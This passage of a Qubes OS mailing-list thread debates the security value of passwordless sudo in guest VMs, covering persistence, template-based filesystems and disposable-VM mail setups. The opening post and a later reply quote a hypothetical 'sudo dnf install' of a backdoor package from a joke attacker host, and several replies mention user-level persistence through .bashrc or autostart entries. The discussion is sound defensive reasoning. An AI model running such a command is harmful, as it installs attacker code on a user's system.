Kicking the sudoers dead horse

[hib...@gmail.com]

Im sure this has been kicked into a pulp (considering the threads and the text in the sudoers files) but I am still perturbed by the argument that allowing unrestricted sudo to root in a DomU VM is "safe" and there is "no benefit" to disallowing it. Perhaps I am misunderstanding something, I have only installed and begun to pull the system apart today, so bear with me.

Hypothetical (only sort of):

-Non-disposable VM used for personal email gets phishing attack. Or maybe its code embedded in that kitten wrapped in bacon jpeg.
-Phishing attack (oops) succeeds due to users uncontrollable nature to *click*.
-Attack actually exploits a browser bug executing code. Nothing new.
-Code modifies /usr/bin/audacious or any number of scenarios because it, for all intent and purpose, has root without even having to perform an exploit. All it has to do is sudo or su -.

This code could do something as comical as:

sudo dnf install https://i.ownz.uk/muhbackdoorz.rpm

I am having an extremely difficult time seeing how this is not an issue.

Now keep in mind I am somewhat joking above. No, I would not click on the phishing link but this in no way negates the example. Also I realize that this DomU compromise only compromises it and not the entire system pending a VM escape attack.

How do you deal with this potential scenario?

This part of the file system is not rewritten on every boot. Are you constantly somehow verifying your VM every boot, every 5 minutes, every web page load? Or are you restoring from a backup every boot or worse rebuilding the entire VM from a template every time you need it? Do you just not care that this VM could be under nefarious control and let the perpetrator read your email etc?

What am I missing here that negates the above situation not being far more trivial to perform and dangerous due to the fact there is no locks between "user@domU" and its companion root account?

Anyhow, the concepts Qubes OS is employing are very cool and overall the system seems very well designed to be functional. Great work. But the above item very much has me concerned.

Side note, something like SELinux could add further benefits within both Dom0 and DomU but that is a whole new can of worms. ie: policy that disallows the browser from ever executing code capable of this.

[andr...@gmail.com]

Hello!

The "open" root behavior seems a little strange to me too. But, thinking coldly, what would change in your scenario if root was protected?

The attacker would not be able to modify /usr/bin/audacious, or install muhbackdoorz to system. But she/he could still delete all your home data, or send it through web, or install something inside home and add it to .bashrc, or ...

Considering all important data in a DomU is owned by one user, and neither root nor the non-root user can leave DomU, the damage caused by any of them seems almost the same.

More info:
https://www.qubes-os.org/doc/vm-sudo/

Regards!

[Unman]

Many people find this a strange aspect of Qubes - but this is right.
What exactly does an attacker gain by being able to su root? All the
qubes data is already accessible.

OP should fill in the detail in explaining how the absence of a root
password makes their scenario "more trivial to perform and more
dangerous".

In fact, correct use of mail qubes makes compromise extremely unlikely -
e.g configuring mailcaps to open files in disposableVMs, using limited
or text only mail readers, actually reading the mail in a network
isolated qube,using separate qubes for different mail activities and
personas, using custom mini templates,all these can be simply done.

Of course, "unlikely" doesn't mean "impossible". But the point is that
implementing qubes isolation means that the effects of compromise can be
restricted and contained. So yes, in a very real sense, it doesn't matter
to me if the qube where I collect mail, (which isn't the qube where I
read it) is compromised in some way.

Incidentally, it's possible to run a tool like Tripwire against the
template and run it during extended sessions for individual qubes, and
to run it against /rw also, should you wish.

One final point OP - it isn't clear to me that you understand how
TemplateBased qubes work: apologies if you do. There are very limited
parts of the file system which aren't rewritten on every boot. And in
fact if you make substantial use of disposableVMs then the whole of the
file system is indeed rebuilt every time it is needed.

Oh, and, of course, if you really want to use a password to get to root,
the mechanism for implementing that is set out on the page in the docs.

unman

[Chris Laprise]

On 03/10/2017 06:33 PM, hib...@gmail.com wrote:
> Im sure this has been kicked into a pulp (considering the threads and the text in the sudoers files) but I am still perturbed by the argument that allowing unrestricted sudo to root in a DomU VM is "safe" and there is "no benefit" to disallowing it. Perhaps I am misunderstanding something, I have only installed and begun to pull the system apart today, so bear with me.
>

Hi,

I used to be in the "only VM isolation matters" camp. But then I
realized there is no reason NOT to keep the guest OS security intact;
that's how it was designed to be used.

Furthermore, assuming that Linus & Co are never going to come through
with a patch for vuln X before your systems encounter X is foolhardy.
I'd rather give the guest OS a chance to stop attacks..... especially if
the OS is already configured to do that.

Re-enabling sudo security is possible; check out the vmsudo doc:

https://www.qubes-os.org/doc/vm-sudo/


--

Chris Laprise, tas...@openmailbox.org
https://twitter.com/ttaskett

[Alex]

On 03/11/2017 12:33 AM, hib...@gmail.com wrote:
> Im sure this has been kicked into a pulp (considering the threads and
> the text in the sudoers files) but I am still perturbed by the
> argument that allowing unrestricted sudo to root in a DomU VM is
> "safe" and there is "no benefit" to disallowing it. Perhaps I am
> misunderstanding something, I have only installed and begun to pull
> the system apart today, so bear with me.

> [...]

> This code could do something as comical as:
>
> sudo dnf install https://i.ownz.uk/muhbackdoorz.rpm
>
> I am having an extremely difficult time seeing how this is not an
> issue.
>

Aaaaand there you have it, the problem! This command will not persist a
reboot of the AppVM, because of the fake read-write rest of the
filesystem: the only really read-write directories (their changes are
actually persisted) are /home and /usr/local.

As the others already stated there could be problems for the actually
running session, i.e. the rogue command could siphon all your data to a
remote location, but it would be only able to access data in that AppVM
and not the others. This action would not need any root access, because
all data is from the very same user that downloaded/started the rogue
program in the first place, so it already has access.

The only advantage that root access would give could arguably be
persistance (i.e. installation, as you suggested with DNF), but that
advantage is fake and will vanish on AppVM reboot.

--
Alex

[Chris Laprise]

On 03/11/2017 04:20 AM, Alex wrote:
> the only really read-write directories (their changes are
> actually persisted) are /home and /usr/local.

That is enough to be able to persist.

>
> As the others already stated there could be problems for the actually
> running session, i.e. the rogue command could siphon all your data to a
> remote location, but it would be only able to access data in that AppVM
> and not the others. This action would not need any root access, because
> all data is from the very same user that downloaded/started the rogue
> program in the first place, so it already has access.
>
> The only advantage that root access would give could arguably be
> persistance (i.e. installation, as you suggested with DNF), but that
> advantage is fake and will vanish on AppVM reboot.

Disagree there. Root access would bestow greater ability to launch
attacks against VM isolation. That would be rare in of itself, but the
chance for improved security comes for free.

-

There is another, much bigger issue: We don't want our systems to become
a zoo of infected VMs with malware thrashing about in them (and on our
networks!) with us as zookeepers. That would be irresponsible.

Qubes' abilities should not be framed in a way that would encourage
that. Even if isolation works 100% of the time, we should view that as
the opportunity to remove and prevent malware---preferably with some
help from the guest OS.

Put another way: If VMs were teeth, would you prefer to have one cavity
this year, or seven?

[Alex]

On 03/11/2017 12:14 PM, Chris Laprise wrote:
> On 03/11/2017 04:20 AM, Alex wrote:
>> the only really read-write directories (their changes are actually
>> persisted) are /home and /usr/local.
>
> That is enough to be able to persist.

Yes, and that doesn't even need root :) So, both having root or not,
there is some degree of persistence attainable.

Installing via DNF or any other package manager is an easy route to put
files in the relevant "system" directories, but since these are not
persisted, it's actually more convenient, from a malware point of view,
to just place them in the home of the user and set up some kind of
autostart (eg bashrc, or systemd user units, or gnome autostarts).

>>
>> As the others already stated there could be problems for the
>> actually running session, i.e. the rogue command could siphon all
>> your data to a remote location, but it would be only able to access
>> data in that AppVM and not the others. This action would not need
>> any root access, because all data is from the very same user that
>> downloaded/started the rogue program in the first place, so it
>> already has access.
>>
>> The only advantage that root access would give could arguably be
>> persistance (i.e. installation, as you suggested with DNF), but
>> that advantage is fake and will vanish on AppVM reboot.
>
> Disagree there. Root access would bestow greater ability to launch
> attacks against VM isolation. That would be rare in of itself, but
> the chance for improved security comes for free.

And that's the point where I agree with you, I overlooked the
exploitability of Xen virtual devices in my original answer. Software
running as root has easier access to the Xen para-vm communication
devices, and that may lead to crossing the VM isolation.

> There is another, much bigger issue: We don't want our systems to
> become a zoo of infected VMs with malware thrashing about in them
> (and on our networks!) with us as zookeepers. That would be
> irresponsible.
>
> Qubes' abilities should not be framed in a way that would encourage
> that. Even if isolation works 100% of the time, we should view that
> as the opportunity to remove and prevent malware---preferably with
> some help from the guest OS.
>
> Put another way: If VMs were teeth, would you prefer to have one
> cavity this year, or seven?

That's a gross oversimplification of the situation. In Qubes there are
several AppVM that are "all created equal", but to the user there MUST
be some difference, and he is advised to make use of the colored labels
to emphasize and remind these differences.

While I don't certainly want to have all red-labeled VMs (i.e. the
malware zoo situation you propose), I'm pretty sure I will not trust
some VMs because they are used with dangerous websites/software. I will
consider them dangerous even with passwordless sudo disbled, because
there may be some 0-day that has been exploited for a local privilege
escalation that makes sudo a non-problem.

I make sure to periodically purge those VMs (which I named dump-0,
dump-1, etc to even remember that they are not to be trusted and because
when I forget why they are here (hence, the cryptic name) they can be
safely deleted), and because of the periodic update restart cycles all
other AppVMs are not always on, so malware cannot rely on system level
persistence there. In those "safer" appVMs, I don't open suspicious
e-mails nor visit doubtful websites; activities that I try to perform in
the unsafe AppVMs.

TL;DR: there's no malware disadvantage if there is no passwordless sudo
in Qubes (it can persist as the user, and can still see all the files of
that user), and there's very little advantage (temporary persistence in
"system" directories) that may even become a decoy of some sort with
passwordless sudo being enabled.

In my humble opinion, this absence of actual advantages or disadvantages
makes the whole situation irrelevant from a security standpoint. There
are other issues that should be taken into account for a more complete
answer than just security as holy grail, and they can safely be
introduced in the decision when the security outcome is the same. They
range from "is having to remember several different root/sudo passwords
really safer? What if the user fails to use different passwords?" to
"how many root actions does the user do in an AppVM? Will this impact
his usual workflow, or will it be a corner case?" passing through "what
if the user focuses on keeping the systems updated (i.e.
excluding/fixing vulnerabilities that may contain privilege escalation
that bypasses the sudo problem) instead of relying on a complex set of
keys and permissions that may be completely bypassed by some security
exploit?"

--
Alex

[Chris Laprise]

At those moments when malware has an opportunity to take hold or
escalate, labels don't matter and you probably won't know. Neither you
nor the attacker has perfect knowledge, and the attacker may find the
anticipated vuln to be patched.

In that case, Linux has at least bought you some time.

>
> I make sure to periodically purge those VMs (which I named dump-0,
> dump-1, etc to even remember that they are not to be trusted and because
> when I forget why they are here (hence, the cryptic name) they can be
> safely deleted), and because of the periodic update restart cycles all
> other AppVMs are not always on, so malware cannot rely on system level
> persistence there. In those "safer" appVMs, I don't open suspicious
> e-mails nor visit doubtful websites; activities that I try to perform in
> the unsafe AppVMs.
>
> TL;DR: there's no malware disadvantage if there is no passwordless sudo
> in Qubes (it can persist as the user, and can still see all the files of
> that user), and there's very little advantage (temporary persistence in
> "system" directories) that may even become a decoy of some sort with
> passwordless sudo being enabled.

You seem to be going in the direction where a user does not / cannot use
storage in a normal way... everything is transient. Definitely not a
personal computing model, which is what Qubes aims for.

To put it another way, Qubes is not TAILS.

> range from "is having to remember several different root/sudo passwords
> really safer?

It doesn't work that way. Auth is channeled through a dom0 Yes/No prompt
(like copying between VMs), not a password prompt.

> to
> "how many root actions does the user do in an AppVM? Will this impact
> his usual workflow, or will it be a corner case?"

The client OS already has experience with that issue and struck a
balance. In the case of Debian and Fedora, the authorization persists
for a certain amount of time during a session so you are not prompted
often. The frequency is a bit more (due to separate VMs) but you only
have to hit Enter.

> passing through "what
> if the user focuses on keeping the systems updated (i.e.
> excluding/fixing vulnerabilities that may contain privilege escalation
> that bypasses the sudo problem) instead of relying on a complex set of
> keys and permissions that may be completely bypassed by some security
> exploit?"

IMO its simple and doesn't change user focus at all.

[Unman]

Is this actually true? I dont think that root in a qube has any "easier
access" to the Xen communication devices.Exploits may require root, but
they need not.

Anyway, it's a argument that could go on. I dont agree that "the
chance for improved security comes for free". It's absolutely clear that
Qubes aims to balance security with usability - some of the compromises
that have been made seem wrong to me, this isnt one of them. I take
steps to mitigate changes I dont like - you should do the same if you
want a password on root access.
But for most users (particulary new users) there is a cost to
introducing passwrd access, and it's convenience. Joanna refers to this
in the explanation. It's clear from the forums that many users struggle
with the Qubes ideas anyway - I cant see that this change would make
things easier for them. (Presumably you would need to have different
password across different templates.)

>
> > There is another, much bigger issue: We don't want our systems to
> > become a zoo of infected VMs with malware thrashing about in them
> > (and on our networks!) with us as zookeepers. That would be
> > irresponsible.

The answer to this is encouraging users to make good use of isolation,
qube use and Qubes features. That isnt irresponsible. It's a way of
dealing with the problem. I think you would need to develop a much more
detailed argument to convince me that the answer to malware infections
is putting a password on root access.

As far as I can see most people, particularly new users with some linux
background, just dont like the idea of passwordless root. That's fine.
That's why there's a page devoted to it, and a solution.

Well put Alex

I'd suggest another TL:DR
Qubes allows passwordless root access for convenience. There's no real security
advantage in enabling it but if you want to you can.

[Chris Laprise]

On 03/11/2017 08:10 AM, Unman wrote:

>
> Anyway, it's a argument that could go on. I dont agree that "the
> chance for improved security comes for free". It's absolutely clear that
> Qubes aims to balance security with usability - some of the compromises
> that have been made seem wrong to me, this isnt one of them. I take
> steps to mitigate changes I dont like - you should do the same if you
> want a password on root access.
> But for most users (particulary new users) there is a cost to
> introducing passwrd access, and it's convenience.

Its not based on passwords. Its the same Yes/No dom0 auth dialog that
controls qvm-copy. Except it remembers auth for a certain amount of time
the way sudo normally does.

Notice the detractors haven't tried it and think it means assigning
passwords to VMs.

> Joanna refers to this
> in the explanation. It's clear from the forums that many users struggle
> with the Qubes ideas anyway - I cant see that this change would make
> things easier for them. (Presumably you would need to have different
> password across different templates.)

Most are already used to UAC Yes/No prompt on Windows. This is pretty
similar.

>>
>>> There is another, much bigger issue: We don't want our systems to
>>> become a zoo of infected VMs with malware thrashing about in them
>>> (and on our networks!) with us as zookeepers. That would be
>>> irresponsible.
>
> The answer to this is encouraging users to make good use of isolation,
> qube use and Qubes features. That isnt irresponsible. It's a way of
> dealing with the problem. I think you would need to develop a much more
> detailed argument to convince me that the answer to malware infections
> is putting a password on root access.

I didn't purport to provide "the answer"... strawman argument.

What it comes down to is a matter of degrees and costs.

>
> As far as I can see most people, particularly new users with some linux
> background, just dont like the idea of passwordless root. That's fine.
> That's why there's a page devoted to it, and a solution.

Well, its still passwordless with the vm-sudo auth.

You should try it. :)

> There's no real security
> advantage in enabling it but if you want to you can.

I think its a mistake to deny that guest OS permissions can contribute
some additional margin of security.

If it means a less attractive environment for script kiddies to raise
hell--- chewing up resources, attacking other computers, creating
footholds for more advanced threats--- then I can invest 3 min. to
enable it.

[7v5w7go9ub0o]

On 03/11/2017 12:10 PM, Alex wrote:
> On 03/11/2017 12:14 PM, Chris Laprise wrote:
>> On 03/11/2017 04:20 AM, Alex wrote:
>>> the only really read-write directories (their changes are actually
>>> persisted) are /home and /usr/local.
>> That is enough to be able to persist.
> Yes, and that doesn't even need root :) So, both having root or not,
> there is some degree of persistence attainable.
>
> Installing via DNF or any other package manager is an easy route to put
> files in the relevant "system" directories, but since these are not
> persisted, it's actually more convenient, from a malware point of view,
> to just place them in the home of the user and set up some kind of
> autostart (eg bashrc, or systemd user units, or gnome autostarts).

Yep! And ISTM this is an argument for using dispvms to handle mail (or
any other WAN-exposed client/server): start a dispvm; copy mail client
and mail "file" into it; do your mail; copy out and save the updated
mail file (which is text); flush away the dispvm - all handled by a
script(s).

Don't retain potentially infect-able user files; stop, flush, and
restart frequently.

Paranoids accessing dangerous mail servers can run multiple mail clients
in multiple dispvms so that if one is compromised, only that
correspondence is lost - one could also run Samhain to monitor unusual
behavior.

[cooloutac]

I have always felt any level of security is useful no matter how trivial to bypass.

But I think the decision here for passwordless sudo is not cause privilege escalation or non root persistence is trivial. Its because people like my mother are not gonna constantly type their password in dozens of vms, or to update half a dozen templates, all for a layer of security thats considered meaningless to Qubes threat model. In qubes usability is more a factor.

Maybe password for sudo should be an option for people who want it.

[sm8ax1]

hib...@gmail.com:

> This part of the file system is not rewritten on every boot. Are you constantly somehow verifying your VM every boot, every 5 minutes, every web page load? Or are you restoring from a backup every boot or worse rebuilding the entire VM from a template every time you need it? Do you just not care that this VM could be under nefarious control and let the perpetrator read your email etc?

Actually, I think it is, but I could be wrong.

I'm no expert so I hope someone jumps in and corrects me, but as I
understand it, /rw and /home are the only persistent directories, and
they are local to the VM.

Everything else is mounted as a temporary snapshot of a file owned by
the template (meaning the named TemplateVM can make persistent changes
to it), except for tmpfs filesystems like /run and /tmp.

So, malware could make itself persistent by infecting ~/.bashrc for
example, but `dnf install` or /usr/bin/audacious would go back to its
original state after a reboot.

If it were up to me (and I had the necessary time and skills), I would
harden all the things. Dom0 and DomUs alike. SELinux, AppArmor, Grsec,
musl, even OpenBSD where possible, and of course restricted root access.
Let the user incrementally disable security features if their favorite
apps don't work.

Xen is nice, but it's no panacea. I think about two years ago Xen got
hit pretty hard with a raft of critical security vulns and it caused bit
of controversy in the community.

Nevertheless I realize all this isn't easy and I appreciate the amount
of effort the developers have gone to in order to give us the Qubes we
have today. Qubes could be better, but there's a reason all of us left
our previous OSes after all, isn't there?


-------------------------------------------------

ONLY AT VFEmail! - Use our Metadata Mitigator to keep your email out of the NSA's hands!
$24.95 ONETIME Lifetime accounts with Privacy Features!
15GB disk! No bandwidth quotas!
Commercial and Bulk Mail Options!

[cooloutac]

why not just use a dispvm or compartmentalize more? I feel that is the purpose of Qubes, To address problem of many trivial security protections.

[sm8ax1]

7v5w7go9ub0o:

>
>
> On 03/11/2017 12:10 PM, Alex wrote:
>> On 03/11/2017 12:14 PM, Chris Laprise wrote:
>>> On 03/11/2017 04:20 AM, Alex wrote:
>>>> the only really read-write directories (their changes are
>>>> actually persisted) are /home and /usr/local.
>>> That is enough to be able to persist.
>> Yes, and that doesn't even need root :) So, both having root or
>> not, there is some degree of persistence attainable.
>>
>> Installing via DNF or any other package manager is an easy route
>> to put files in the relevant "system" directories, but since these
>> are not persisted, it's actually more convenient, from a malware
>> point of view, to just place them in the home of the user and set
>> up some kind of autostart (eg bashrc, or systemd user units, or
>> gnome autostarts).
>
>
>
>
> Yep! And ISTM this is an argument for using dispvms to handle mail
> (or any other WAN-exposed client/server): start a dispvm; copy mail
> client and mail "file" into it; do your mail; copy out and save the
> updated mail file (which is text); flush away the dispvm - all
> handled by a script(s).

How do you figure that's less of a pain in the ass than typing a sudo
password?

[Unman]

On Sat, Mar 11, 2017 at 04:43:41PM +0000, sm8ax1 wrote:
> 7v5w7go9ub0o:
> >
> >
> > On 03/11/2017 12:10 PM, Alex wrote:
> >> On 03/11/2017 12:14 PM, Chris Laprise wrote:
> >>> On 03/11/2017 04:20 AM, Alex wrote:
> >>>> the only really read-write directories (their changes are
> >>>> actually persisted) are /home and /usr/local.
> >>> That is enough to be able to persist.
> >> Yes, and that doesn't even need root :) So, both having root or
> >> not, there is some degree of persistence attainable.
> >>
> >> Installing via DNF or any other package manager is an easy route
> >> to put files in the relevant "system" directories, but since these
> >> are not persisted, it's actually more convenient, from a malware
> >> point of view, to just place them in the home of the user and set
> >> up some kind of autostart (eg bashrc, or systemd user units, or
> >> gnome autostarts).
> >
> >
> >
> >
> > Yep! And ISTM this is an argument for using dispvms to handle mail
> > (or any other WAN-exposed client/server): start a dispvm; copy mail
> > client and mail "file" into it; do your mail; copy out and save the
> > updated mail file (which is text); flush away the dispvm - all
> > handled by a script(s).
>
> How do you figure that's less of a pain in the ass than typing a sudo
> password?
>

You're missing the point - that procedure is trivial to set up in
Qubes and addresses real security concerns. Just putting a password on
root access, or requiring some dom0 interaction doesn't.

This is important - security IS a pain in the ass. Qubes can make it
less so.

[Unman]

Chris

There was no straw man argument here - you raised the issue of "malware
zoos" in the context of a discussion of passwordless sudo - it's
natural to think that you see it as an answer. I cant see it plays any
role.

This is particularly so given your suggestion that the root access
"remembers auth for a certain amount of time" - decent targeted
attacks would have a stub firing to check if sudo was enabled every
few minutes, and would hit the target of opportunity you have opened
for them. This really isnt a solution. (I see the same with people who
think they are immune from viruses because they only connect to the
internet for brief periods.)

There are many things I havent tried, and I think this is going to be
one of them. If Qubes policy were to change, then I would consider
following it depending on what the reason was for the change, but that's
a choice I would make. I still cant see that anyone has provided a
reason why " guest OS permissions can contribute some additional margin
of security". You think this is a mistake on my part.

cheers

unman

[cooloutac]

I usually just assume I'm protecting against randoms, not some super persistent personal target I can't defend against anyways. So you always have to weigh the efforts.

I hate to use the phrase threat model cause when it pertains to attackers there is no such thing. Everything is in it so the phrase is used wrong. But when it pertains to usability it makes sense to think about it. Especially if Qubes wants more adoption then besides arrogant computer experts lol.

[Daniel Moerner]

On Friday, March 10, 2017 at 9:55:08 PM UTC-5, Unman wrote:
> So yes, in a very real sense, it doesn't matter
> to me if the qube where I collect mail, (which isn't the qube where I
> read it) is compromised in some way.

Hi Unman,

Could you explain your setup for collecting mail in one Qube and reading it in another? I currently use Qubes for each mail account, running mutt and offlineimap, and opening links in disposable VMs. But collecting mail in one Qube and reading it in another is interesting to me.

Daniel

[Unman]

Hello Daniel

It was interesting to see someone else in the thread refer to a
similar setup. (Look at 7v5w7go9ub0o earlier.) They use a disposableVM to
process the mail.

I use a number of different mail servers: like you I use mutt and
offlineimap,(and rsync and notmuch).
I use mini templates in different flavours, mailcaps to open files in
disposableVMs. (Lots of people will hate everything about this.) I use
more than one TorVM.

I have multiple dispVMTemplates, some online and some not. A mail
archive is not network connected and is based on a mini template.
Like 7v5w7go9ub0o I use simple scripting - fire up disposableVM, run
rsync/offlineimap, qvm-move mailfile in to reader. Process mail, with any
attachments opened in disposableVM, as you do, using Split GPG.
Outgoing mail is copied to a mailqueue in another qube, and sent from
there.

As far as use is concerned, it just feels like any other mutt
session. Everything is scripted, (and tied together with bits of
string) but it works. The only difference from what you are doing is that
your mutt qube is network connected. and mine isn't.

Of course, in other cases I'll ssh to a box and use mail from there -
or use some webmail - that's straight forward

I'm sure there are many users doing something similar.

unman

[Chris Laprise]

On 03/11/2017 12:15 PM, Unman wrote:

>>>
>>> The answer to this is encouraging users to make good use of isolation,
>>> qube use and Qubes features. That isnt irresponsible. It's a way of
>>> dealing with the problem. I think you would need to develop a much more
>>> detailed argument to convince me that the answer to malware infections
>>> is putting a password on root access.
>>
>> I didn't purport to provide "the answer"... strawman argument.
>>
>> What it comes down to is a matter of degrees and costs.

--

>
> There was no straw man argument here - you raised the issue of "malware
> zoos" in the context of a discussion of passwordless sudo - it's
> natural to think that you see it as an answer. I cant see it plays any
> role.

Your language had portrayed it as a binary choice about which practice
provides "THE answer". That misrepresents the argument being made.

And the zoo analogy holds up pretty well if you accept that zoos are
places where animals are kept under less-than ideal circumstances, but
nevertheless indefinitely.

>
> This is particularly so given your suggestion that the root access
> "remembers auth for a certain amount of time" - decent targeted
> attacks would have a stub firing to check if sudo was enabled every
> few minutes, and would hit the target of opportunity you have opened
> for them.

Its not a "suggestion". Its the way sudo works if you change a few
settings according to the vm-sudo doc. :)

The timeout default can be changed easily enough (can be made zero).

A separate shell process would have to get authorization separately, so
the attack you imagine probably wouldn't work there. To be in the same
shell, the attacker would first have to alter a bash startup file, but
these can be easily protected.

Remember, many people pick distros based on the default security and how
smoothly they work with security enhancements. This holds as much for
shell configuration as for other factors. The idea behind this is to use
the security settings that come with the OS, whether that be Debian,
Fedora, Ubuntu or Arch, etc. That makes a better starting point as we
explore options like apparmor and grsecurity (features normally
available in the above distros).

[Chris Laprise]

On 03/11/2017 11:56 AM, Unman wrote:
> On Sat, Mar 11, 2017 at 04:43:41PM +0000, sm8ax1 wrote:
>> 7v5w7go9ub0o:

>>>

>>> Yep! And ISTM this is an argument for using dispvms to handle mail
>>> (or any other WAN-exposed client/server): start a dispvm; copy mail
>>> client and mail "file" into it; do your mail; copy out and save the
>>> updated mail file (which is text); flush away the dispvm - all
>>> handled by a script(s).
>>
>> How do you figure that's less of a pain in the ass than typing a sudo
>> password?
>>
>
> You're missing the point - that procedure is trivial to set up in
> Qubes and addresses real security concerns. Just putting a password on
> root access, or requiring some dom0 interaction doesn't.
>
> This is important - security IS a pain in the ass. Qubes can make it
> less so.
>

Yes, sm8ax1 got you there. :)

DispVMs are nice to have when we think that certain operations carry
threats. But its ridiculous to expect a typical user to do a majority of
their tasks in them.

[Chris Laprise]

Passwords are not required for sudo authentication:

https://www.qubes-os.org/doc/vm-sudo/

This works like file-copying between VMs... you get a Yes/No prompt in
dom0. And you can have it default to either Yes or No. Anyone could use
it and I suggest you give it a try!

[cooloutac]

oh ok,I'm just a noob so I thought the opposite of a "passwordless sudo" was one with a password lol

Also what does Joanna mean by this statement on that page? " At the same time allowing for easy user-to-root escalation in a VM is simply convenient for users, especially for update installation."

If you are talking about some other form of authentication (sorry I have a hard time following your convo with Uman, 0 timeout period for sudo?) then what would make it inconvenient for users? We already have to hit y or n to update templates.

I still think its more about usability then whats trivial to bypass. And in that case its based on threat model. Sure security is difficult, but its more about controlling yourself then your machine, imo.

But I know you are genius Chris and if there is some method to authenticate to sudo without a password that would not be cumbersome for users I would be for that option.

[Unman]

No, it isn't ridiculous to expect a typical user to work in
disposableVMs.
I've set up a number of users with a range of experience, and they
are very comfortable with this.
If the implementation is kept hidden generally speaking everything goes
fine. Some scripting to make things easier, and support is probably no
greater than usual ,except for "that funny copy thing". I've said this
before.

Set up right I don't think that Qubes is outrageously difficult to use,
even with disposableVMs doing most of the heavy lifting. But that's a
separate issue.

[Chris Laprise]

On 03/11/2017 09:49 PM, cooloutac wrote:

> Also what does Joanna mean by this statement on that page? " At the
> same time allowing for easy user-to-root escalation in a VM is simply
> convenient for users, especially for update installation."

The statement was originally written a long time ago. Qubes can now
easily tell VM programs to run as root, so its not a real concern.

It does so happen there is a small bug when the GUI update script tries
to escalate from user to root (and it doesn't run). Its the only gotcha
I've encountered and its easy to tell the script to run as root in the
first place...

https://github.com/QubesOS/qubes-issues/issues/2693

>
> If you are talking about some other form of authentication (sorry I
> have a hard time following your convo with Uman, 0 timeout period for
> sudo?) then what would make it inconvenient for users? We already
> have to hit y or n to update templates.

This is a type of authorization where 'Yes' input from dom0 GUI takes
the place of a password. If it defaults to Yes as the doc has it, then
you just need to hit Enter.

The sudoers config allows you to specify how long sudo 'remembers' the
authorization... if that is a concern. This link explains it:

https://github.com/QubesOS/qubes-issues/issues/2693

>
> I still think its more about usability then whats trivial to bypass.
> And in that case its based on threat model. Sure security is
> difficult, but its more about controlling yourself then your machine,
> imo.
>
> But I know you are genius Chris and if there is some method to
> authenticate to sudo without a password that would not be cumbersome
> for users I would be for that option.

When you are prompted to allow file copying between two VMs, thats based
on the same dom0 auth method. It feels the same as using that.
:)

[Andrew David Wong]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

I'd be interested in hearing more about this (in a separate thread,
perhaps).

In particular, no one has, to my knowledge, attempted to rebut the
arguments I advanced against the "doing everything in DispVMs"
approach here:

https://groups.google.com/d/msg/qubes-users/nDrOM7dzLNE/Kr5W3BUkcG4J

Granted, that was almost two years ago, and some of the things I wrote
there no longer apply. However, I still haven't seen a strong case
made *in favor* of this approach to begin with. I would like to see one.

- --
Andrew David Wong (Axon)
Community Manager, Qubes OS
https://www.qubes-os.org
-----BEGIN PGP SIGNATURE-----

iQIcBAEBCgAGBQJYxUL0AAoJENtN07w5UDAwhCUQAMFb7DXeC/hp2j9jtTFKJHWR
vgcFSGa9TJK5aTdieKEuNfyaAgBfdmSlMNuDlCiWPe/Hk0Sx+/4t4pxthB59y0YS
NgGMwzOek1oBrdTaUOHhJluICo8Hg2I4w4AmhngBJ+osxRuT2keQyIije9nqV1Ya
ojbVbql49hRCa67GY9sYchUe3vi6L378WtE7wbT8AGoUIktvWQBb3dkdiOBb+yWI
OxDX8p52spOB3jnDd4ZrZe0GNmLFaISenJq1ygKSNRByh+qg1igwGT+WGRJSA+su
UxdqLB19WQgKyZux2uM0J1k7sy5n+ghK5wFm+wwmdx9tupw1uos4O5lKvNPcp+Ym
QyBM/u3drQpBmXmCxVARG39nuOZRrc0Ui7rJJ6F+yttcv1gmE3OciPtrNktvm3f2
5EZ/4a/Wa7V8Rv4wlhZBoDffmwwklTJvZeoVmtwieFgbiL8fe3IHisa1vBQlnOSR
2QIbpdW+nUs1y4TxLxzAegT6bOk22+2ziVBv4BWg+Z5qbJxU4jAHzPZWb0iSg0qv
w1NjlL59FMeSyDO5/uNxbQ9cgHn3FPvkk1hhqFMzWQq4hyUVBYEE6pAlsge5w7TC
F5Q+ufkcWojDsv21ivwyP91wdU2i4sjnEXl1w4eAt2ZqlwIKZIh6qk3khN2hom+U
TXU/T0QNYo5WY7SbEu8n
=5DPd
-----END PGP SIGNATURE-----

[sm8ax1]

Unman:

Point taken. Someone at some point said requiring sudo would be too
inconvenient and new users wouldn't be familiar with it. I guess that
wasn't you. My mistake.

By the way, I'll call it "trivial" when there's an easy to use script,
complete with .desktop, readily available that does it. Writing said
script is more like "medium difficulty" for the average user.

[cooloutac]

oh of course I see, that's not so bad at all.

[7v5w7go9ub0o]

Agree with all of this. Working in a DispVM (e.g. browser, or mail) is
the same experience as working in a VM. Only difference is clicking a
script to start it up; inform the script of the DispVM to work in; and
telling the script to shutdown (copy updates) at the end - in my case by
entering a <n/l>

> I'd be interested in hearing more about this (in a separate thread,
> perhaps).
>
> In particular, no one has, to my knowledge, attempted to rebut the
> arguments I advanced against the "doing everything in DispVMs"
> approach here:
>
> https://groups.google.com/d/msg/qubes-users/nDrOM7dzLNE/Kr5W3BUkcG4J

RATS! I missed that.

> Granted, that was almost two years ago, and some of the things I wrote
> there no longer apply. However, I still haven't seen a strong case
> made *in favor* of this approach to begin with. I would like to see one.
>
> - --
> Andrew David Wong (Axon)
>

This is the first I've seen your 4/1/15 note - sorry - wish we could
have discussed it then. You have the basic idea except for the vital
point of what happens at end of DispVM session (copying as few as
possible user files back to a VM or Vault). I take your point 4 on
space, and point 6 on RAM and CPU usage.

I disagree on critical point 5.

For example running a browser in a VM is indeed "more secure" than
running it in a VM because only specific updated files (bookmarks -
places.sqlite) are retained and copied back to the vault at end of
session; no other user-land files (and surprise relics) are copied back;
this is contrary to what is presumed in that write up. If if the
bookmarks weren't changed, simply flush the DispVM away.

Doing mail in a DispVM is also "more secure" for the same reason - only
specific updated files are retained at end of session - no other
user-land files (and relics) are copied back to a VM. This is key, and
why this is more secure.

At startup, the user configuration file (.Thunderbird) is copied into
the DispVM, followed by the latest volatile user data files.

(If there is need to permanently change something in the user
configuration - I haven't in years - one simply starts up the
DispVM/tbird proggy, makes the configuration change doing no mail,
usenet, etc., and promptly copies the newly changed, whole user
configuration back to the vault, followed by immediate shutdown.)

Also disagree on your second part of 6; I've been using this and other
DispVM scripts since Q2.0 or Q2.1; I've become lazy as they just work!
Infrequently I'll get a "failed to start" DispVM message, in which case
I'll start one manually and tell the script to use it (script pauses
'til the DispVM is up and running).

And also on point 6; yes there is a startup delay, but it is a
completely acceptable trade off to me for the reassurance and relaxed
